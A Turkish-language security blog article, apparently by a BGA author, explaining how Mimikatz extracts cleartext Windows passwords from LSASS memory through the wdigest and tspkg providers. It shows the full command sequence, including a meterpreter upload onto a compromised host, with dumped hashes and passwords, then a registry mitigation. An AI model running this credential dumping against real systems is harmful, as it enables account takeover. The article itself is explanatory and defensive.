Mimikatz ile Windows Sistemlerde Parolaları Açık Olarak Okuma

Windows sistemlerde kullanıcı adı ve parolamızı girdiğimizde bunun doğrulanması için windows
üzerinde varolan lsass.exe uygulaması (C:WindowsSystem32) devreye girer. LSASS(Local Security authority subsystem service) olarak bilinen bu windows uygulaması sistemlerdeki güvenlik politikasını uygulamaktan(kullanıcı oluşturma/değiştirme,kimlik doğrulama) sorumludur.

Sisteme login işleminin başarılı yada başarısız olduğuna karar vermek için kullanıcıdan aldığı verileri SAM ve LDAP dosyasındaki veriler ile karşılaştırır. Karşılaştırma sonunda sonuç doğru (true) ise kullanıcıyı sisteme dahil ederken aynı anda kullanıcıya ait parola bilgisini (NTLM hash ve şifrelenmiş parola) memory de saklar.

İlgili memory alanındaki hash verisi ele geçirilip başka bir LSASS oturumuna enjekte edilirse kimlik doğrulama aşaması atlatılarak sisteme login olunabilir. Pass the hash yazılımlarının (WCE, Psexec v.s) çalışması bu mantıkla olmaktadır. Yukarıda parantez içerisinde birde şifrelenmiş parola (hash değil) ifadesi kullanmıştık. Bu geriye döndürülebilir parola bilgisini ifade etmektedir. Hash’den farklı bir durumdur. Hash fonksiyonlarına sokulan veri geriye döndürülümez şekilde tuz değerleri ile gerçekleştirilmektedir(windows için tuz değeri kullanılmaz). Fakat şifrelenmiş parola bilgisi kolaylıkla cleartext(şifresiz) hale dönüştürülebilir.
Windows üzerinde bu şekilde bir güvenlik yapısının tasarlanma sebebi ise SSO (Single sign-on) servislerinin kerberos ve NTLM gibi klasik kimlik doğrulama yöntemlerini desteklememesidir. Bunun aşılması için windows tarafında önce tspkg ve daha sonra güncellenip wdigest ismi verilen SSP(Security Support Provider) geliştirildi.

Bu geliştirilen SSP’ler ile parola bilgisinin şifreli olarak hafızada tutulması yoluna gidilmiş ve hemen hemen tüm windowslarda bu özellik ön tanımlı gelmektedir.

Mimikatz ismi verilen uygulama da windowsdaki bu durumu kötüye kullanarak sistemde olan kullanıcılara ait kullanıcı parolalarının hafızadaki şifreli halini elde edip  şifreyi kırıp temiz olarak verir. Mimikatz x86 ve x64 mimariye sahip windows sistemlerde(XP,2003,2008,win 7, vista,2008 R2,
Windows 8,Server 8) çalışabilmektedir.

Ele geçirilmiş bir windows sistem üzerinde aşağıdaki mimikatz komutlarıyla sistem üzerindeki kullanıcı parolaları sistem hafızasından alınabilir;

Not: Komut satırı sistem haklarında çalıştırılmış olmalı. Aksi halde yetkiniz yok hatası verecektir.

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:>cd x64
C:x64>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan 23 2013 00:14:12) */
// http://blog.gentilkiwi.com/mimikatz


mimikatz # privilege::debug
Demande d’ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;431139
Package d’authentification  : NTLM
Utilisateur principal       : F. Celal ERDIK
Domaine d’authentification  : fcerdix
        msv1_0
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Hash LM      : d1face09e47d03f8aad3b435b51404ee
         * Hash NTLM    : 7d029e287d0e7372ce126253b626f537
        kerberos
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
        ssp
        wdigest
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
        tspkg
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass

mimikatz #

Mimikatz uygulaması metasploit üzerinden de çalıştırılabilir. Bunun için yapılması gereken meterpreter oturumunda aşağıdaki komutun verilmesi;

meterpreter > upload /root/mimikatz/mimikatz.exe C:
[*] uploading  : /root/mimikatz/mimikatz.exe -> C:
[*] uploaded   : /root/mimikatz/mimikatz.exe -> C:mimikatz.exe
meterpreter > upload /root/mimikatz/sekurlsa.dll C:
[*] uploading  : /root/mimikatz/sekurlsa.dll -> C:
[*] uploaded   : /root/mimikatz/sekurlsa.dll -> C:sekurlsa.dll

meterpreter > shell
Process 1204 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan 23 2013 02:11:10) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d’ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;431139
Package d’authentification  : NTLM
Utilisateur principal       : F. Celal ERDIK
Domaine d’authentification  : fcerdix
        msv1_0
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Hash LM      : d1face09e47d03f8aad3b435b51404ee
         * Hash NTLM    : 7d029e287d0e7372ce126253b626f537
        kerberos
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
        ssp
        wdigest
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
        tspkg
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Mot de passe : gizliPass
Window’sun LsaUnprotectMemory fonksiyonu, lsasrv.dll dosyasındaki LsaEncryptMemory fonksiyonundan gelen taleplere güvenir. Mimikatz uygulamasının yaptığı ise bu güveni kötüye kullanmak.
Bunun için sekurlsa.dll ismindeki kendi dll dosyasını LSASS prosesine enjekte eder ve ilgili fonksiyonu çalıştırıp parolaları decrypte eder.

Bu durumdan korunmak için windows sistemlerde regedit dosyasında küçük bir değişiklik yapmak gerekmektedir. HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa altındaki Security Packages değeri içerisindeki aşağıdak değerler silinmelidir.

Son durum aşağıdaki gibi olacaktır.

Not: Registerydeki ilgili parametreler belirtilen servislerin (SSO,domain v.s) çalışması için öntanımlı geldiğinden dolayı gerekliliği şart olabilir. Bu sebeple ilgili parametreler  kaldırılmadan önce  mutlaka kendi ortamınıza göre test yapmanız önerilir. Yaşanabilecek problemler okur sorumluluğundadır.

İlgili ayar yapıldıktan sonra Mimikatz çalıştırıldığında aşağıdaki gibi parola bilgisi bulanamayacaktır;

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.


C:>cd x64

C:x64>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan 23 2013 00:14:12) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d’ACTIVATION du privilège : SeDebugPrivilege : OK


mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;447005
Package d’authentification  : NTLM
Utilisateur principal       : F. Celal ERDIK
Domaine d’authentification  : fcerdix
        msv1_0
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Hash LM      : d1face09e47d03f8aad3b435b51404ee
         * Hash NTLM    : 7d029e287d0e7372ce126253b626f537
        ssp

Authentification Id         : 0;446974
Package d’authentification  : NTLM
Utilisateur principal       : F. Celal ERDIK
Domaine d’authentification  : fcerdix
        msv1_0
         * Utilisateur  : F. Celal ERDIK
         * Domaine      : fcerdix
         * Hash LM      : d1face09e47d03f8aad3b435b51404ee
         * Hash NTLM    : 7d029e287d0e7372ce126253b626f537
        ssp

Authentification Id         : 0;997
Package d’authentification  : Negotiate
Utilisateur principal       : LOCAL SERVICE
Domaine d’authentification  : NT AUTHORITY
        msv1_0  n.s. (Credentials KO)
        ssp

Authentification Id         : 0;996
Package d’authentification  : Negotiate
Utilisateur principal       : FCERDIX$
Domaine d’authentification  : WORKGROUP
        msv1_0  n.s. (Credentials KO)
        ssp

Authentification Id         : 0;45592
Package d’authentification  : NTLM
Utilisateur principal       :
Domaine d’authentification  :
        msv1_0  n.s. (Credentials KO)
        ssp

Authentification Id         : 0;999
Package d’authentification  : NTLM
Utilisateur principal       : FCERDIX$
Domaine d’authentification  : WORKGROUP
        msv1_0  n.s. (Credentials KO)
        ssp

mimikatz #

F. Celal Erdik  < celal.erdik@bga.com.tr >